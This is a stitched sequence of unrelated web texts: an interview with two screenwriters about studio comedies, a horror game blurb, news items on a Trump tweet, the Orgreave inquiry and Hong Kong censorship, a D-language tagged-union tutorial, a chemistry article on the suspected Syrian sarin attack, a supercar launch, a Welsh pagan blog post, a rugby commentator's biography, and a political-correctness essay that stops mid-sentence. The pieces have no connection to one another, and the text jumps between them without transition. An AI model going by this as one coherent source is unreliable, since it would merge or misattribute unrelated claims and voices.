fucking car smile. A car can’t smile. That’s impossible. It’s made out of metal.”  RBG: We were so aware that the president of the studio loved our first draft.  TL: Loved our draft.  RBG: The person sitting between us and her—  TL: Was fucking us up.  RBG: And it made us so upset that we weren’t thinking rationally and trying to go through the proper channels to make that movie as good as it could be. Even today, I think that movie was gonna suck even if we hadn’t been around, but it would have been better.  Advertisement  TL: The other way to think about that would be, “It’s pretty bad, but I’ve seen way worse movies.” I feel like I’ve written way worse movies. It’s not even, like, funny bad. It’s not like The Room. It’s just like, “Eh.” It’s like averagely bad. [Laughs.]  AVC: You talk about Herbie: Fully Loaded and some of the other stuff you’ve done, and there’s a funny line in here where you say, “If you’re looking to write Oscar movies, you picked up the wrong book. We wrote the movie where the monkey slaps Ben Stiller.”  TL: Well, one of our big lessons about if you want to do this job—and again, people are gonna be like, “Well, this is only if you want to write giant, schlocky, huge, tent-pole studio movies.” Yes. We’re the first people to say that that’s what it’s for. Yes. This is not to write Atom Egoyan. This is not to write My Life As A Dog. We’re very aware of our image, and I think the first rule that I give if you’re going to screenwriter in Hollywood is suppress your ego. This is kind of a sausage factory. By which I don’t mean this is a sausage party, it’s a sausage factory. We’re making a sausage party. It’s a little bit of both, I guess.  Advertisement  RBG: But as a writer, it’s funny. People randomly choose somebody who they hate to attack and blame them for the movie being bad, whether it’s the director they hate or writer they hate. Every failure and success in Hollywood is a group effort. It’s a committee. It’s a bunch of people, and good movies and bad movies are the faults, sometimes, of the producer or the executive or the writer or the director.  TL: It’s almost impossible to make a good one. I would argue it’s almost impossible to make a bad movie! It’s almost impossible to make either one.  RBG: Yeah, that’s true. But we look back, and the stuff that I do and that we do together that I’m super proud of is equally hated as the stuff I do that I can’t stand. The stuff that we write that totally gets fucked up and turns out to be a horrible movie is hated. And Reno [911!]: Miami, I think is fucking great.  Advertisement  TL: The weirdest thing is I look at my Tomatometer of movies that we’ve done, and Herbie: Fully Loaded is only, like, a couple marginally off from the Reno 911! movie, which I still, to this day, think is one of the best things we’ve ever done.  RBG: I stand by it. People hate it. It’s like, “Ah, fuck it.” You make things as good as you can possibly make them. We never jump into anything unless we think it’s gonna be fucking great. And after 10 years you realize sometimes that works out—if it does, it’s a miracle. If it even gets made, it’s a miracle. So we’re here just plugging away. It’s a job. We’re not in a basement in Paris painting. We’re in Hollywood writing movies, contracting for the studios.  TL: Or sometimes we’re writing those movies from a very nice hotel in Paris. The other good thing about writing is you can do it from anywhere. And if you do it successfully, you can do it from any nice place.  Advertisement  AVC: But one of the things you tell people in the book is that you have to be based in L.A.  TL: Well, to get started, you really, really, really do. Honestly, Ben and I were both guys who lived in the Village in New York. Never thought we would leave, ever. I thought I’d die in Greenwich Village. Kind of like in Edgar Allan Poe. You know how he kind of wandered off one day, and they found him in the gutter? I’m not saying that won’t still happen. That’s still quite likely, because I get to New York a lot. [Laughs.] But we had no intention to ever leave New York. But the fact is, again, if you’re going to play the absolute busiest level—I’m not saying best—busiest level of screenwriting, you absolutely, positively have to be there, hands down, no question.  AVC: You mentioned staying busy and checking your ego—it seems like a certain part of what you’re doing is just a job.  Advertisement  RBG: I think when you’re saying “just a job.” That’s not accurate.  TL: It’s just an amazing job.  RBG: People have this disconnect. Because people know our faces because of The State and Reno, we’re screenwriters and people know who we are. It’s funny to me because stoners and people who love The State then say, “Yeah, but The Pacifier sucked.” And I just say, “The Pacifier is for children or for their parents. Why did you go fucking see it?” When people attacked our family movies, “Night At The Museum sucked!” “Yeah, well, about a billion dollars’ worth of people disagree with you.” And I, believe it or not, agree with the people who like Night At The Museum. It’s a good family movie. The reason we pitched Herbie: Fully Loaded wasn’t for the paycheck. We looked at the crappy billboard for I think it was The Grinch Who Stole Christmas, and we said, “Why don’t people do decent family movies?” As a kid, I loved Herbie, I loved Mary Poppins. Why isn’t anyone who’s funny or smart writing movies for families? And so that’s, oddly enough, how we started the thing that became disaster that was called Herbie: Fully Loaded.  Advertisement  TL: You gotta understand, at this point Lindsay [Lohan] had just gotten boobs. It was a different world, man. Everything was still ahead of us.
-About This Game Juliette Waters wakes up in an empty apartment from the seventies, buried underground by a landslide. With the help of her ghost recording equipment she manages to escape and make contact with Walter, the owner of a local boat business. She learns that her boyfriend Jonathan is looking for her, and she decides to look for him too. She borrows Walter’s boat to travel the flooded landscapes of Saginaw Park, and heads for the coordinates written down on a post-it note stuck to the ship’s computer.  Sylvio 2 is an atmospheric, first-person horror game completely without chasing enemies or cheap jump scares. The unique gameplay mechanic of the video and sound analyzing tool lets you find hidden messages and clues on how to interact with your surrounding and progress through the game.  The game consists of nine levels and a flooded main area with twenty islands, free to explore. Estimated gameplay time is 6 hours.  Sylvio 2 is a sequel to critically acclaimed Sylvio, nominated for Best Original Game on the 2015 TIGA Awards and listed as one of the best horror games by PC Gamer. It is created and developed by Niklas Swanberg, owner of horror game studio Stroboskop. Juliette Waters is once again portraid by Swedish actress Maia Hansson Bergqvist.
-Donald Trump in Jackson, Mississippi on Saturday. Nicholas Kamm/AFP/Getty Images  On Monday morning, several injuries were reported after an explosive device went off in New York City’s Port Authority bus terminal; the device was apparently strapped to a 27-year-old man who is now in custody. The incident is being considered an attempted terror attack, and the president responded swiftly by … uh …  Another false story, this time in the Failing @nytimes, that I watch 4-8 hours of television a day - Wrong! Also, I seldom, if ever, watch CNN or MSNBC, both of which I consider Fake News. I never watch Don Lemon, who I once called the “dumbest man on television!” Bad Reporting. — Donald J. Trump (@realDonaldTrump) December 11, 2017  Indeed, it appears that POTUS is ignoring today’s national security news because he is fuming about a weekend New York Times story that reported that his primary occupation as president is reading and responding to the little headlines that scroll along the bottom of cable news programs.  As the National Journal’s Josh Kraushaar pointed out, Trump may have had the Times story on the brain because he was … watching cable news:  Sounds like he was watching MSNBC, which was discussing the NYT story right before this Tweet... https://t.co/TUw5xScajB — Josh Kraushaar (@HotlineJosh) December 11, 2017  Of course, whining about Don Lemon is preferable to the president’s usual methods of responding to terror attacks, namely spreading urban legends and gloating about the validation of his complaints about Muslims.
-The home secretary, Amber Rudd, did not look at evidence held by South Yorkshire police on its operation at Orgreave during the 1984 miners strike and the subsequent collapsed prosecutions against 95 men before she turned down an inquiry into the events, the Guardian has learned.  The Home Office has refused to say what documents Rudd and its officials considered, but South Yorkshire police said they had not sent the materials they held to the home secretary.  Campaigners said they felt let down and that Rudd had made a superficial decision “without bothering to look at the evidence”.  The South Yorkshire police archive on Orgreave is understood to include all its papers on the operation itself, in which officers are accused of having planned the use of violence against 8,000 miners who gathered to picket the coking plant near Rotherham.  Documents also relate to the criminal charges subsequently brought against 95 miners, which collapsed in June 1985 after allegations that police officers had lied in court and fabricated evidence. Papers documenting 39 miners’ subsequent civil claims for assault, false arrest and malicious prosecution, which the force settled, paying £425,000 in damages, are also held.  Other material includes witness statements, lists of arrest records, documents on the “mutual aid” given by other police forces, as well as photographs and film of the day. None of it was seen by the Home Office during 15 months in which first Theresa May, then Rudd, said they were considering an inquiry.  The Home Office also did not approach the Independent Police Complaints Commission (IPCC) for the evidence it gathered and examined to produce its June 2015 report on Orgreave, the police watchdog’s deputy chair, Sarah Green, is understood to have told campaigners.  The Home Office declined to say what evidence May, Rudd or her officials had considered before reaching the decision not to launch an inquiry. A spokesperson said only that Rudd had reviewed “a range of relevant documentation”.  Joe Rollin, chair of the Orgreave Truth and Justice campaign (OTJC), said: “We were led up the garden path for more than a year, given signals that some form of inquiry would be held, but this now shows the Home Office let us down without even bothering to look at the evidence. People in our former mining communities felt crushed by the decision last Monday, and angry with themselves for ever believing the government would listen.”  May first said in June last year that she would “consider any request to set up a public inquiry”, after the IPCC reported evidence of excessive force by police at Orgreave, and subsequent perjury by some officers, perverting of the course of justice and a cover-up.  South Yorkshire police told the Guardian, in answer to a question about whether the force had given its files to the Home Office: “All of the materials in possession of South Yorkshire police have been previously made available to the IPCC in their raw form. We have not shared these files with any other body.”  In July last year May, then home secretary, met OTJC representatives and was told that mistrust of the police has passed down to miners’ grandchildren. Families whose relatives were among the 96 people unlawfully killed due to South Yorkshire police failings at Hillsborough five years later also told May and Rudd that they wanted an inquiry. The Hillsborough families believe that the disaster and its subsequent alleged cover-up might have been avoided had the force’s culture been reformed after the malpractice exposed by the Orgreave events.  However, last week Rudd announced she would not hold an inquiry in any form. She said this was principally because nobody had died at Orgreave, there had been no miscarriage of justice, policing had improved since 1984, and the link with Hillsborough could not be made with any certainty.  Labour’s Andy Burnham, who has campaigned for an inquiry into Orgreave, said the former mining communities in South Yorkshire had “again been told by the government that they do not matter”.  He said: “This news confirms my suspicion that the home secretary did not do a thorough job in looking at all the evidence, and for that reason her decision is inadequate and unsound.”  Following Rudd’s refusal, a cross-party group of MPs led by the chair of the home affairs select committee, Yvette Cooper, and including the Conservative MP Edward Leigh, wrote asking her to support the committee holding its own inquiry into Orgreave.  As the committee’s membership has a six-to-five Conservative majority, support from the government is seen as essential to securing a decision by members to pursue an inquiry. Cooper has also asked Rudd what evidence the Home Office relied on before refusing an inquiry into Orgreave. The Home Office is due to respond on Friday.
-His comments put him at odds with the society’s official response to the dispute. In a statement earlier this month, the organization attributed the exclusion of Mr. Wong to a judgment error “at the staff level.” It also said that the organization has hosted events “with speakers representing all sides of major Asia-related issues.”  Mr. Wong was a leader of the Umbrella Movement, which began in 2014 and took its name from the umbrellas that protesters used to defend themselves from police pepper spray during weeks of widespread demonstrations where they demanded a more direct say in the election of the Hong Kong’s chief executive, its top political office.  Mr. Wong contributed to “Hong Kong 20/20: Reflections on a Borrowed Place,” a compilation of writings marking the 20th anniversary of Britain’s 1997 handover of the territory to China. The Asia Society had invited him to speak at a gathering to commemorate the publication of the book.  Once it became clear that Mr. Wong was not welcome, allegations of censorship arose, and fingers pointed at Mr. Chan, a real estate developer and philanthropist who has been outspoken in his support of Leung Chun-ying, the former chief executive of Hong Kong and the focus of the 2014 democracy protests.  “At Asia Society, we just don’t cover certain things. Can I have the liberty to do that?” the co-chairman said at the lunch on Thursday, which had the theme “Hong Kong, 20 Years Later: Promises Made, Promise Kept, Promises to be Fulfilled.”
-A tagged union  Sometime you have some data that can be of type A or B. Very common use cases include decoding various file format or network protocols, communicate with memory mapped devices, some processing that can return an A or a B depending on its result, and many more.  To resolve that issue, it is common to use a union. A union is a aggregate where all members share the same memory. It is very handy, but use it wrongly and you end up badly messing up your memory. I’ll demonstrate in this article how to make this safe in D.  The first step toward this goal is to create a tagged union: a union associated with a tag that indicates which element of the union is currently valid.  1  2  3  4  5  6  7  8  9  10  11  12  struct TaggedUnion {  union {  A a ;  B b ;  }  enum Tag {  A , B  }  Tag tag ;  }  Now we have a nice struct that contains either an A or a B, and a tag that indicate which one it is. But this is still unsafe, use it wrong and you’ll wreck your memory. We need to make it safe.  Some encapsulation  The next obvious step is to build the struct in the proper state right away. Let’s put some constructors in place, let’s make all the data private, and provide access to these via controlled, typed, ways. We need to provide a method that checks the tag and calls the right user code with the correct type. Thankfully, D allow to do that – without performance penalty – using template alias parameters.  1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  struct TaggedUnion {  private :  union {  A a ;  B b ;  }  enum Tag {  A , B  }  Tag tag ;  public :  this ( A a ) {  tag = Tag. A ;  this . a = a ;  }  this ( B b ) {  tag = Tag. B ;  this . b = b ;  }  auto ref apply ( alias fun ) ( ) {  final switch ( tag ) with ( Tag ) {  case A :  return fun ( a ) ;  case B :  return fun ( b ) ;  }  }  }  At this point you probably wonder how you can use this. This is dead simple, you simply call the function apply with the code you want to run as a template parameter. Your code will be instantiated with all the possible types.  1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  TaggedUnion t = ...;  void process ( T ) ( T data ) {  alias Type = typeof ( data ) ;  static if ( is ( Type == A ) ) {  // Code that handle the case where it is an A.  } else static if ( is ( Type == B ) ) {  // Code that handle the case where it is an B.  } else {  static assert ( 0 , "You must handle type " ~ Type. stringof ) ;  }  }  t. apply ! process ( ) ;  Be careful, as type inference can get in your way here. If case A and B don’t return the same type, you may want to specify it explicitly. Another pain point is that a function that does not return is assumed by dmd to be of return type void (when it can be anything). If you want to throw in some cases, you’ll also need to be explicit. You also can’t use a local function for reasons that seem unclear to me – most likely a dmd bug (2.062).  A generic solution  Now we can repeat this pattern all over the place, but at some point a more generic solution becomes worthwhile. D is quite powerful at this game, so let’s leverage this. We will use some string mixins to construct the exact same union as we did before, but dynamically with several types. Nothing new here, we simply ask the compiler to write the code for us.  1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  template TaggedUnion ( Types ... ) {  private auto getUnionContent ( ) {  string s ;  foreach ( T ; Types ) {  s ~= fullyQualifiedName ! T ~ " member_" ~ T. mangleof ~ ";" ;  }  return s ;  }  private auto getTag ( ) {  string s ;  foreach ( T ; Types ) {  s ~= T. mangleof ~ "," ;  }  return "enum Tag {" ~ s ~ "}" ;  }  private auto getSwitchContent ( ) {  string s ;  foreach ( T ; Types ) {  s ~= "case Tag." ~ T. mangleof ;  s ~= ": return fun(member_" ~ T. mangleof ~ ");" ;  }  return s ;  }  struct TaggedUnion {  private :  union {  mixin ( getUnionContent ( ) ) ;  }  mixin ( getTag ( ) ) ;  Tag tag ;  public :  this ( T ) ( T t ) if ( is ( typeof ( mixin ( "Tag." ~ T. mangleof ) ) ) ) {  mixin ( "tag = Tag." ~ T. mangleof ~ ";" ) ;  mixin ( "member_" ~ T. mangleof ~ " = t;" ) ;  }  auto ref apply ( alias fun ) ( ) {  final switch ( tag ) {  mixin ( getSwitchContent ( ) ) ;  }  }  }  }  D allows for very expressive type construction, and that is awesome! This small example is simple and shows perfectly how to do it. Unlike many abstractions in programming, this one doesn’t cost anything at runtime as it uses compile time feature of D. This is probably one of the biggest advantages of D : allowing you to build nice abstraction completely at compile time and have the optimizer remove the excess for you.  PS: Once again, a big thank to John Colvin for his help in correcting the article.
-A suspected chemical attack on a rebel-held town in Syria has triggered the first direct US military action against the country’s government forces as the US launched a missile strike against a Syrian air base earlier today. Following the attack on 4 April, there were reports of residents dying in their houses, with victims and injured survivors showing symptoms that match poisoning by nerve agents. However, there is no evidence yet to identify which one.  Symptoms included pupils shrunk to the size of pin pricks, foaming at the mouth, breathlessness and convulsions. ‘The best guess is a nerve agent, probably an organophosphate,’ says Dino Pisaniello of the School of Public Health in the University of Adelaide, Australia. ‘The characteristic response of pin point pupils is a key clinical observation here. Sarin is suspected but there are many organophosphates that would exert the same effect in sufficient quantity.’  All nerve agents (see below) work in the same way, latching onto cholinesterase enzymes in blood plasma, red blood cells and at certain nerve endings in tissues. The enzyme can no longer hydrolyze the neurotransmitter acetylcholine involved in muscle contraction, which accumulates, leading to violent muscle spasms and death if the muscles involved in breathing can’t function. The bond between the nerve agent and the enzyme is permanent unless antidotes are administered.  Finding the culprit  It is important to identify which agent was used to predict the number of people who might be affected and to establish culpability, says Dan Kaszeta, a London-based consultant and former US Army Chemical Corps officer. ‘Knowing the type of nerve agent helps us chase the supply chain and understand the full narrative behind the attack. It is essential for any war crimes tribunal to have this evidence collected by a neutral organisation like The Organisation for the Prohibition of Chemical Weapons (OPCW),’ he says.  ‘It looks like people downwind of the attack were affected which means that it was a volatile agent like sarin and not VX,’ speculates Alastair Hay, an emeritus environmental toxicology professor at the University of Leeds, UK.  The OPCW has 22 labs licensed to examine chemical weapon samples and can identify a nerve agent from biomedical or environmental samples. There are tests to measure degradation products of nerve agents in urine taken from victims, or the levels of cholinesterase in blood.  Environmental samples, such as soil and concrete, can also provide evidence but the clock is ticking as the site remains in a war zone. Hay says timely access to the site is important, but evidence can be retrieved years after an attack in some cases.  ‘It looks like people downwind of the attack were affected which means that it was a volatile agent like sarin and not VX’ Alistair Hay, University of Leeds  At the moment, there is also still a question mark over where the weapons came from and who is responsible for the attack. In theory, competent chemist could make these nerve agents, says Hay. ‘However, the difficulty is having a virtually airtight facility so there is no risk of exposure. Nerve agents are so toxic that a very small exposure can kill, so containment of the reaction sequence is critical.’  Kaszeta points out that nerve agents need to be produced in a batch process at scale, requiring ‘some heavy chemical engineering’. He continues: ‘There are 5-7 steps required to make sarin, for example, some of which are extremely difficult, and one requires hydrogen fluoride at high temperature and pressure. It is an expensive undertaking.’  That’s one reason why most commentators agree that the Syrian government is most likely to be responsible; the rebel forces don’t have the money, infrastructure or expertise, says Kaszeta. What’s more, the OPCW established that the Syrian government killed hundreds of people using sarin in an attack on the Damascus suburb of Ghouta in 2013.
-Share  Today is a good day for fans of American supercars. California-based Bulleta Motors unveiled its latest supercar creation: the RF22. Although it’s based upon the Lotus Evora, it doesn’t look much like the little British Porsche fighter that underpins it.  Samir Sadikhov, the man responsible for the Aston Martin DBC and the Cadillac C-Ville, penned the sleek yet menacing body. Underneath the bodywork, Bulleta has managed to squeeze a 3.5-liter V6 with a Bulleta-designed supercharger, which is good for 505 horsepower and 410 pound-feet of torque and a 0-60 time of 3.6 seconds. Not exactly F-22 power, but pretty quick just the same.  Mounted mid-car, the engine sends power to the rear wheels through either a six-speed manual or an optional six-speed automatic with sport paddle shifters behind the steering wheel.  Stopping power comes from carbon ceramic disks which are surrounded by standard 19-inch carbon fiber wheels or optional 20-inch forged aluminums.  Intriguingly, Bulleta Motors will allow customers to spec the car with a composite body or with a carbon fiber body. Then, on the interior, buyers can choose either a two or a 2+2 seating arrangement, which makes it ideal for any supercar or super GT enthusiast with or without kids.  If that weren’t enough kit for you, World Car Fans reports that each RF22 buyer will also receive a “custom made, individually numbered, Swiss mechanical chronograph time piece, matching the serial number of its companion car.” I guess that’s so when your RF22 is in the shop, as it inevitably will be as a limited production supercar from a relatively unknown carmaker, you can still feel connected to your very expensive American-built lump of carbon fiber.
-This post will have a lot of UPG. Take it for what you will.  Hiraeth, a Welsh word with no exact English definition. There are a few variations of the meaning scattered on the internet. But there are two definitions that really make sense to me. The first one is from Wikipedia, “It is a mix of longing, yearning, nostalgia, wistfulness, or an earnest desire for the Wales of the past[1],” and the second from a Welshwoman studying abroad, “A longing to be where your spirit lives[2].”  Ever since discovering this word and the multiple layers behind it, it has stuck with me. But it is not until today that I truly understood the word. To be able to feel what the word means, not just to know the definition. It was a very surreal and fundamental moment for me.  I spent the afternoon with my Great-Uncle Ian at a small garden shop and tea room. It’s called The Secret Garden and it is truly a fitting name. A 400 year old building Just off of the A4042 you can easily blink and drive past it. We perused the grounds and looking at flora that he knew of far better than I. But even though I don’t know the specifics of each flower, I could still appreciate the place.  After a while we do what any self-respecting Brit does when possible, we drink some tea. Their tearoom overlooks the stereotypical Welsh countryside. A field of sheep with accompanying donkeys, and striking green hills. The best part of the entire view was that in the distance nestled in the valleys was my childhood hometown and Folly Tower, a local landmark that was originally built around 1765 or so.  We sat there until closing time and talked about life and nature, with him sharing his countless tales of past experiences I will never forget. But towards the end of the conversation right before we had to leave, I experienced hiraeth for the first time in a moment similar to the Eureka Effect.  The cold wind nipped at my face, laughter was tangible in the air, and Sól ignited the sky in an amber blaze before He ended His journey. At this moment I saw Cymru in all of its primal beauty. I saw my home. Not just the place I currently reside, but the place where my spirit lives. I saw the Green, Green Grass of Home. The fields and valleys that have sustained my People and ancestors for centuries. I saw the pride of Y Ddraig Goch that all Welshmen and Welshwoman share. But even then, there was something deeper still.  My spirit dwells not only with the people and lands of Wales, and all of Britain, but with the Gods and wihta of this island as well. While I was once content with refusing religion or believing in some form of Other, there was always something missing. A subtle void that always kept me pondering the possibilities. This island has worshipped many gods and goddesses; from Brigid to Vesta to Þunor, they are all a part of my past and they all influence my future.  I would at a time attempt to limit myself to only one Way. Though I have come to find that the Old Ways are not as simple as a solitary road leading from one place to the next. The Ways are more akin to a complex system of roads that may combine in places, diverge in others, or even run parallel within view of each other. And yet, all of these various roads have the possibility to find themselves at the same destination: To reach the Other, in whatever variety it may be in.  Where I used to be worried about only taking a specific road, to never diverge for the fear of finding myself lost. Now I have no such trepidation. I am content with weaving through the various roads, albeit with healthy caution. For to travel many is to have a far more complete and authentic view of the world; and in this instance, a more authentic view of the Old Ways my spirit has chosen to reside with.  Hiraeth is now a constant low ache in my heart. An addiction not dissimilar to that of an addict. For I experienced if only for a moment, the world that my ancestors lived. Where there was nothing but your inner-yard, the land to support you, and the Gods to watch over it all. A simpler time but perhaps a more fulfilling one. To have some semblance of that again is something to crave. The closest place I experience anything close to it when I’m with the Other. When life becomes an ephemerally simple matter of honouring the Other. Something that has happened since the beginning of time and will continue to do until the very end.  But I allow myself to divert on tangents. It is a habit that leads to attempting many conversations at once which often becomes a veritable mess of things. So I will return to the story at hand. Once the moment had passed and Sól escaped behind the mountains, we had to leave. But now the Garden was possessed by a new feeling entirely. The air was heavier and our movement sluggish. We sauntered around the premises once more but all the while followed by a white Labrador. He has lived in the Gardens for years, dutifully guarding the place. I believe he protected the place in more ways than one. For my family has said multiple times that they believe dogs live in two places at once. I see no reason to disagree with that opinion. There were many statues of gnomes scattered around. Whether this means that hobs lived around or not I do not know for sure, but the dog made sure to sniff each and every statue. I took that as a sign, for all we can do when it comes to Others is look for signs and omens.  With the experiences in both the tearoom and leaving the Gardens, I left that day with a certainty that I was home in every sense of the word. I am in the land of my ancestors once more, and following gods that once had power in the people’s hearts. And this, in all of its simplicity, is enough for me.  Most of these pictures were taken from The Secret Garden website. I did intend for this post to have a more direct intent when first writing it, as I had every intention of finishing it when I got back from the Gardens. However, life happens and it has been almost a month since the visit so the post has lost some of its intended meaning through the delay of my writing. But I had far too much written down already to just abandon the writing and seeing a draft every time I opened WordPress was slowly destroying my sanity.  Advertisements
-Michael 'Mike' Stephenson, MBE, commonly known as Stevo, (born 27 January 1947) is an English rugby league commentator and former player.  Mike Stephenson was born in Dewsbury, West Riding of Yorkshire, England.  Stevo, the nickname that he is known by in rugby league and on TV, played at club level for Dewsbury, and Australian side Penrith, and also played for Yorkshire and Great Britain, with whom he won the 1972 Rugby League World Cup. Stephenson played in the hooker position for most of his playing career.  Stephenson was responsible for the setting-up of the Rugby League Heritage Centre at the George Hotel in Huddersfield.  He was awarded an MBE (Member of the Most Excellent order of the British Empire), for his services to rugby league and sports broadcasting in the New Year Honours List 2017.[3]  Playing career [ edit ]  Stephenson began his professional playing career at his hometown club Dewsbury in 1966, after being signed from local amateur club Shaw Cross RLFC. He went on to make his Great Britain début in Castleford in 1971 against the touring New Zealand side. His greatest moment in international rugby league was being a member of Great Britain's victorious 1972 World Cup-winning side; Stevo scored a try against Australia in the World Cup Final.  Stephenson won caps for Great Britain while at Dewsbury in 1971 against New Zealand, in 1972 against France, and in the 1972 World Cup against France, New Zealand and Australia.[1]  Stephenson's time in the Dewsbury first team coincided with an upturn in the club's fortunes on the pitch. He played in Dewsbury's 9–36 defeat by Leeds in the 1972–73 Yorkshire Cup Final and scored 2 tries in Dewsbury's 22-13 victory over Leeds in the 1972-73 Championship Final. He left Dewsbury after their championship winning season in 1973 to join Australian Rugby League outfit Penrith. He played 69 games for the Panthers between 1974 and 1978, scoring 21 tries. Stevo was also player-coach of the side for a brief, unsuccessful spell. He ended his playing career in 1978 and settled in Sydney.  Broadcasting career [ edit ]  Stevo began his broadcasting career in Australia with brief spells at radio and television stations in Sydney. He first appeared on British airwaves in 1988, when he was invited to co-commentate on the rugby league Ashes series in Australia for BBC Radio 2 with Eddie Hemmings.  In 1990, Stevo joined the new British satellite television broadcaster BSB as a match summariser for its Rugby League coverage. At BSB, he joined up again with Hemmings, who had also been signed up by the broadcaster. The pairing were kept together when BSB and Sky Television merged to form BSkyB in 1991; the combined satellite TV network inherited BSB's rugby league TV contract.  Stephenson announced at the start of the 2016 season that he would be retiring from commentating at the end of the season after 26 years. His last game on the microphone was the 2016 Super League Grand Final.  Honours [ edit ]  Club [ edit ]  International [ edit ]  Individual [ edit ]  Harry Sunderland Trophy: 1973  References [ edit ]  Stevo: Looking Back, by Mike Stephenson ISBN 978-1-904091-23-3
-Advertisements  Political correctness is a class mechanism used to justify the marginalization of a “deserving poor”. Two recent developments, one an event and one a trend, make this clear: the 2016 presidential election, in which Americans (a correspondent has suggested I specify: white Americans) without college degrees voted to an unprecedented extent as a bloc or “class”; and the furor around campus “free speech”, which has developed somewhat in response to real instances of academic and artistic censorship, but just as much in response to the imposition of intricate, inconsistent rules of etiquette which are impossible to deduce from first principles and almost as difficult to relate to the real and urgent material deprivations which still cause so much suffering in the world. Leftists should view political correctness very skeptically, not only for strategic, tactical, or epistemic reasons, but for moral reasons as well. I’ll draw on the philosophical literature about epistemic injustice to explain what I mean.  To its proponents, political correctness is a way of avoiding transgressions ranging from minor faux pas to serious “symbolic violence”. Increasingly activist analytic philosophers have classified many of these transgressions as forms of epistemic injustice, or harms against individuals in their epistemic capacities (as questioners, reasoners, knowers, etc.). In a 2007 book of the same name, Miranda Fricker claims that these transgressions are significant both ethically and epistemically: that hewing to epistemic justice also best serves epistemic rationality – that it’s the best way to find the truth. In turn, many opponents of political correctness suggest either that it is ethically insignificant (that the relevant transgressions cause only minimal harm) or that it is epistemically pernicious (that it makes finding the truth harder, or impossible). Here instead I want to argue that political correctness is ethically pernicious: that it itself leads to the sorts of transgressions that philosophers of epistemic injustice take seriously.  As a disclaimer, the fact that I’m mostly discussing Democratic, liberal, progressive, or leftist political correctness should not be taken to mean that I think Republicans, conservatives, reactionaries, and rightists are not guilty of insisting on political correctness on some occasions. In fact, I think of political correctness as an unfortunate tendency exhibited by almost every group of human beings. Nevertheless, provisionally, I want to say that there’s a reason to worry particularly about the currently dominant liberal political correctness more than similar conservative behavior, and the reason is precisely that the latter does not seem to rise to the level of injustice in the same way the former does. But as I indicated, this is just a provisional view.  The central, canonical form of epistemic injustice is testimonial injustice, the harm that accrues when prejudice or bias causes one person to disbelieve another person’s testimony. This can be seen as a kind of flip-side of standpoint epistemology, which urges that marginalized people be seen as relative “experts” on the conditions of their marginalization (people of color as experts on race, women as experts on gender, and so forth). It is easy to imagine the sorts of scenarios that inspired this concept: scenarios in which some woman is disbelieved because “women are hysterical”, for instance, or in which a member of some ethnic group is disbelieved because of a stereotype about lying.  Testimonial injustice has been a central feature of mainstream Democratic politics for years. This is the What’s the Matter with Kansas? school of thought: poor white voters just don’t know their own interests, can’t distinguish what’s good for them from what’s bad. In 2008, Barack Obama provoked gasps by saying out loud what many liberals (and centrist Republicans) believed: that voters in poor rural towns whose factories had closed “get bitter” and “cling to guns or religion or antipathy to people who aren’t like them . . . as a way to explain their frustrations.” The expression of values which for some other group would simply be believed, if not always respected, here requires a diagnosis. In 2016, Hillary Clinton made it clear that the testimony of a quarter of the electorate, the “deplorable” half of Trump voters, was unreliable and unimportant due to the group’s biases. Nathan Ballantyne makes clear in “Debunking Biased Thinkers (Including Ourselves)” that the attribution of bias is as vulnerable to bias as any other discursive move. Even Bernie Sanders said at one point during the primaries that white people could not know what it feels like to be poor. Surely, a charitable listener thinks, he must not have meant to include, for instance, the white folks of McDowell County, West Virginia, and of similar places, many of whom were so excited by his candidacy.  Academic discourse being in many ways a rabid form of Democratic politics, it should come as no surprise that academia is rife with testimonial injustice as well. I will restrict myself to mentioning one instance, the notion of white fragility. White fragility is taken to be a phenomenon in which white people fall apart during discussions of race: they refuse to engage, become excessively defensive, fall back on (purportedly) discredited tropes like “colorblindness”, and so on. In any such discussion, statements by white people that fall into this pattern can be diagnosed “fragile” and thus discredited. What’s important to me here is not whether the theory of white fragility is true or false (an empirical question), but who, in particular, will exhibit this trait. First, older people are more likely to exhibit white fragility, since they hail from a time in which aspiring to “colorblindness” was still considered liberal or progressive. Second, neurodiverse people, like those with social anxiety or autism-spectrum disorders, are more likely to exhibit white fragility, due to the emotional difficulty and inherent awkwardness of such conversations and the seeming requirement that one suspend one’s own judgment and substitute another person’s. Third, the worse-educated are more likely to exhibit white fragility, as rebutting ideas like colorblindness actually takes extended and not always persuasive argumentation.  Testimonial injustice is a regrettable but hardly avoidable feature of human tribalism. What really troubles me is the hermeneutical injustice of political correctness. (Like “epistemic” and “testimonial” injustices, this is Fricker’s term.) Hermeneutical injustices are harms caused by the unequal distribution of shared epistemic resources, especially lexical and other linguistic resources, for making sense of our experiences. I want to point out two kinds of hermeneutical injustice: the hamster-wheel of redefinition and new vocabulary, and the insistence on intersectional complexity.  If a perfectly progressive person went into a coma two decades ago – even one, probably – they would wake up a reactionary. This is the case even if they were early supporters of gay marriage, transgender rights, reparations, criminal justice reform, or anything else. They would wake up a reactionary because the terminology used to express these positions is changing constantly, and in the modern scheme of political correctness one’s affiliations are determined as much by terminology as by party affiliation or platform. Someone who’d been at the forefront of trans acceptance would wake up reactionary for not knowing terms like “cisgender” or “genderfluid”. Someone passionate about the justice of reparations would wake up, express that passion, and find themselves viewed suspiciously for not knowing that “people of color” is in vogue. I myself have been castigated for mentioning the thesis that “race isn’t real” – I learned this growing up liberal as a mantra about biological race, but in some circles it’s now, apparently, viewed as an attempt to minimize the social importance of race.  Who’s harmed by this? The same three groups I mentioned before, for similar reasons – plus the people who simply lack the verbal-cognitive ability to adapt to constantly changing rules, and the people who don’t have time to learn. (Ironically, the book Charles Murray was actually invited to Middlebury to discuss, Coming Apart, proposes a thesis along very similar lines: that the rise of a “cognitive elite”, to his mind more or less genuinely meritocratic, on America’s coasts and in America’s colleges is harming those who don’t meet the standard.) The elderly more and more lose track of the new terms, and the young more and more pretend not to understand the old ones. Think, for example, of the slew of articles about college students refusing to spend Thanksgiving with their families, or of the Harvard placemats that literally scripted Thanksgiving conversations about social justice. And those with autism-spectrum disorders are far more likely to prefer clear, precise denotations, and to miss out on the connotations and signaling apparatuses on which political correctness places greater importance. As for the less-educated – well, academic terms and definitions are learned in academia! If, as I often heard my college peers say, one cannot be “a good person” without reading Frantz Fanon, or Gayatri Spivak, or Said, 